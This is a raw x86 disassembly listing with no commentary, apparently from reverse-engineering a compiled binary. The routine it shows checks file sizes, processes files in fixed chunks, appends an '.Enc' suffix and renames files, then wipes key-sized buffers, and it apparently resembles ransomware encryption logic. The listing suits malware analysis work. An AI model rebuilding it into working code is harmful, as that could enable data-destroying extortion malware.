push eax
push 0
lea eax, [ebp - 0x174]
push eax
call fcn.00431600
lea ecx, [ebp - 0x174]
call fcn.00431860
push eax
mov ecx, esi
call fcn.00431860
push eax
call fcn.004b61d6
add esp, 8
lea ecx, [ebp - 0x174]
call fcn.004049c0
jmp 0x4122df
push 0
lea eax, [ebp - 0x210]
mov ecx, esi
push eax
lea eax, [ebp - 0x98]
push eax
lea edx, [ebp - 0xb0]
call fcn.0040b160
add esp, 0xc
jmp 0x412272
push 0
lea eax, [ebp - 0x210]
mov ecx, esi
push eax
lea eax, [ebp - 0x98]
push eax
lea edx, [ebp - 0xb0]
call fcn.0040b160
add esp, 0xc
cmp dword [ebp - 0x3a4], 0
jmp 0x41228f
cmp byte [0x5200ec], 1
jne 0x41223a
mov eax, dword [ebp - 0x3a4]
cmp eax, dword [0x520124]
jb 0x411ea0
ja 0x411ef1
cmp edi, dword [0x520120]
jb 0x411ea0
push 0
lea eax, [ebp - 0x80]
mov ecx, 0x51fd48
push eax
call fcn.004316a0
cmp eax, 0xffffffff
je 0x411e7b
cmp dword [ebp - 0x3a4], 0
mov eax, 1
mov dword [ebp - 0x394], 0
jl 0x4120dd
jg 0x411f34
cmp edi, 0x4e2000
jbe 0x4120dd
mov ecx, dword [0x520128]
cmp ecx, 1
je 0x4120dd
mov eax, ecx
cdq
mov ecx, eax
mov eax, edx
mov edx, 0xfa000
mul edx
mov dword [ebp - 0x3a0], eax
mov eax, ecx
mov ecx, 0xfa000
mul ecx
mov ecx, dword [ebp - 0x3a0]
add ecx, edx
cmp dword [ebp - 0x3a4], ecx
jb 0x411f88
ja 0x411f76
cmp edi, eax
jbe 0x411f88
mov edi, eax
mov dword [ebp - 0x394], ecx
mov eax, dword [0x520128]
jmp 0x4120d1
mov ecx, dword [0x520128]
call fcn.00416620
mov dword [ebp - 0x398], eax
cdq
mov ecx, eax
mov eax, edx
mov edx, 0xfa000
mul edx
mov dword [ebp - 0x3a0], eax
mov eax, ecx
mov ecx, 0xfa000
mul ecx
mov ecx, dword [ebp - 0x3a0]
add ecx, edx
cmp dword [ebp - 0x3a4], ecx
jb 0x411fd7
ja 0x411fca
cmp edi, eax
jbe 0x411fd7
mov edi, eax
mov dword [ebp - 0x394], ecx
jmp 0x4120cb
mov ecx, dword [ebp - 0x398]
call fcn.00416620
mov dword [ebp - 0x398], eax
cdq
mov ecx, eax
mov eax, edx
mov edx, 0xfa000
mul edx
mov dword [ebp - 0x3a0], eax
mov eax, ecx
mov ecx, 0xfa000
mul ecx
mov ecx, dword [ebp - 0x3a0]
add ecx, edx
cmp dword [ebp - 0x3a4], ecx
jb 0x412026
ja 0x411fca
cmp edi, eax
jbe 0x412026
mov edi, eax
mov dword [ebp - 0x394], ecx
jmp 0x4120cb
mov ecx, dword [ebp - 0x398]
call fcn.00416620
mov dword [ebp - 0x398], eax
cdq
mov ecx, eax
mov eax, edx
mov edx, 0xfa000
mul edx
mov dword [ebp - 0x3a0], eax
mov eax, ecx
mov ecx, 0xfa000
mul ecx
mov ecx, dword [ebp - 0x3a0]
add ecx, edx
cmp dword [ebp - 0x3a4], ecx
jb 0x412076
ja 0x411fca
cmp edi, eax
jbe 0x412076
mov edi, eax
mov dword [ebp - 0x394], ecx
jmp 0x4120cb
mov ecx, dword [ebp - 0x398]
call fcn.00416620
mov dword [ebp - 0x398], eax
cdq
mov ecx, eax
mov eax, edx
mov edx, 0xfa000
mul edx
mov dword [ebp - 0x3a0], eax
mov eax, ecx
mov ecx, 0xfa000
mul ecx
mov ecx, dword [ebp - 0x3a0]
add ecx, edx
cmp dword [ebp - 0x3a4], ecx
jb 0x4120c6
ja 0x411fca
cmp edi, eax
jbe 0x4120c6
mov edi, eax
mov dword [ebp - 0x394], ecx
jmp 0x4120cb
mov edi, 0xfa000
mov eax, dword [ebp - 0x398]
cmp eax, 1
je 0x4120e2
cmp eax, 5
jne 0x4120e5
jmp 0x4120e2
mov edi, 0xfa000
add eax, 0x32
push eax
lea eax, [ebp - 0x210]
mov ecx, esi
push eax
lea eax, [ebp - 0x98]
push eax
lea edx, [ebp - 0xb0]
call fcn.0040b160
add esp, 0xc
cmp byte [0x5200e9], 0
jne 0x41219b
push esi
lea ecx, [ebp - 0x114]
call fcn.00431aa0
push str._Enc
lea edx, [ebp - 0x114]
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x12c]
call fcn.0043a350
add esp, 4
lea ecx, [ebp - 0x12c]
mov byte [ebp - 4], 0x2c
call fcn.00431860
push eax
mov ecx, esi
call fcn.00431860
push eax
call fcn.004b61d6
add esp, 8
lea ecx, [ebp - 0x114]
test eax, eax
jne 0x41216d
lea eax, [ebp - 0x12c]
push eax
jmp 0x41216e
push esi
call fcn.00431970
lea eax, [ebp - 0x114]
mov ecx, esi
push eax
call fcn.00431970
lea ecx, [ebp - 0x12c]
call fcn.004049c0
lea ecx, [ebp - 0x114]
mov byte [ebp - 4], 0x28
call fcn.004049c0
sub esp, 0x18
mov ecx, esp
push esi
call fcn.00431aa0
lea eax, [ebp - 0x3a5]
push eax
push dword [ebp - 0x394]
lea edx, [ebp - 0x3c]
push edi
push 0
push 0
lea ecx, [ebp - 0x50]
call fcn.0040bab0
add esp, 0x2c
cmp byte [0x5200e9], 0
jne 0x4122df
cmp byte [ebp - 0x3a5], 0
je 0x4122df
push 0
push str._Enc
mov ecx, esi
call fcn.00431660
cmp eax, 0xffffffff
je 0x4122df
mov eax, dword [esi + 0x10]
mov ecx, esi
add eax, 0xfffffffc
push eax
push 0
lea eax, [ebp - 0x15c]
push eax
call fcn.00431600
lea ecx, [ebp - 0x15c]
call fcn.00431860
push eax
mov ecx, esi
call fcn.00431860
push eax
call fcn.004b61d6
add esp, 8
lea ecx, [ebp - 0x15c]
call fcn.004049c0
jmp 0x4122df
push 0
lea eax, [ebp - 0x210]
mov ecx, esi
push eax
lea eax, [ebp - 0x98]
push eax
lea edx, [ebp - 0xb0]
call fcn.0040b160
add esp, 0xc
mov eax, dword [ebp - 0x3a4]
cmp eax, dword [0x520124]
jb 0x41228d
ja 0x412272
cmp edi, dword [0x520120]
jb 0x41228d
sub esp, 0x18
mov ecx, esp
push esi
call fcn.00431aa0
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0x50]
call fcn.0040cda0
add esp, 0x18
jmp 0x4122df
test eax, eax
jg 0x4122b6
jl 0x41229b
cmp edi, 0x7d000
ja 0x4122b6
sub esp, 0x18
mov ecx, esp
push esi
call fcn.00431aa0
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0x50]
call fcn.0040d610
add esp, 0x18
jmp 0x4122df
sub esp, 0x18
mov ecx, esp
push esi
call fcn.00431aa0
push 0x529508
push 0
push 0x7d000
push 0
push 0
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0x50]
call fcn.0040bab0
add esp, 0x2c
mov ecx, 0x18
lea eax, [ebp - 0xb0]
nop word [eax + eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x4122f0
mov ecx, 0x18
lea eax, [ebp - 0x98]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x412306
mov ecx, 0x10
lea eax, [ebp - 0x50]
nop dword [eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x412320
mov ecx, 0x20
lea eax, [ebp - 0x3c]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x412333
lea ecx, [ebp - 0x80]
call fcn.004049c0
jmp 0x41191f
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.00490dbb
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004b5942
int3